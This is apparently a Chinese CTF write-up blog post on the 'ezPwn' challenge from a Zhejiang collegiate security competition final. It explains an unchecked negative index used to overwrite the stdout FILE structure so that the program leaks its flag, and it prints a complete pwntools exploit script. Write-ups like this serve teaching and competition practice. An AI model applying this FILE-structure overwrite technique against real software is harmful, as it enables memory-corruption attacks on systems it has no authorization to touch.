第七届浙江省大学生网络与信息安全竞赛 决赛 - ezPwn

RocketDev

a big apple

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip yes

seccomp rules

解题思路

程序从一开始就读入了flag文件并放在bss中,还给了程序基址。后面就是菜单堆题。

edit函数没有对idx做校验,可以像初赛一样改stdout结构体。访问datas[-20]修改stdout结构体, 此时sizes[-20]恰好是(int)datas[6],因此分配7个堆块后就可以构造一个很大的数字。但是, 对于ubuntu,read的size不能超过SIZE_MAX,这取决于上述值的最高位,因此有50%概率导致read失败。 如果能成功read,把stdout_flags设置成0xfbad1800_IO_write_base设置成&flag_IO_write_ptr_IO_write_end设置为flag+0x30。在函数edit返回,打印菜单时, 触发流刷新,同时打印出flag。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './ezPwn'

def payload(lo: int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh)
else:
sh = remote('10.1.101.102', 9999)

def toint(v: int) -> bytes:
return str(v).encode().ljust(8, b'\0')

def add(size: int, data: bytes):
sh.sendafter(b'delete', toint(1))
sh.sendafter(b'size', toint(size))
sh.sendafter(b'data', data)

def edit(idx: int, data: bytes):
sh.sendafter(b'delete', toint(2))
sh.sendafter(b'index', toint(idx))
sh.sendafter(b'data', data)

pieBase = int(sh.recvuntil(b'\n1.add', True)[-14:], 16) - 0x1a44
success(GOLD_TEXT(f"Leak pieBase: {pieBase:#x}"))
flagAddr = pieBase + 0x4060

add(0x400, b'chunk 0')
add(0x400, b'chunk 1')
add(0x400, b'chunk 2')
add(0x400, b'chunk 3')
add(0x400, b'chunk 4')
add(0x400, b'chunk 5')
add(0x400, b'chunk 6')
edit(-20, flat({
0: 0xfbad1800, # _flags hack the stdout!
0x20: flagAddr, # _IO_write_base
0x28: flagAddr + 0x30, # _IO_write_ptr
0x30: flagAddr + 0x30, # _IO_write_ptr
}, filler=b'\0'))

sh.recvuntil(b'DASCTF{')
flag = b'DASCTF{' + sh.recvuntil(b'}')
success(f"Flag is: {flag.decode()}")
sh.close()

flag

  • 标题: 第七届浙江省大学生网络与信息安全竞赛 决赛 - ezPwn
  • 作者: RocketDev
  • 创建于 : 2025-02-20 22:50:00
  • 更新于 : 2026-03-27 15:59:00
  • 链接: https://rocketma.dev/2025/02/20/ezPwn/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
第七届浙江省大学生网络与信息安全竞赛 决赛 - ezPwn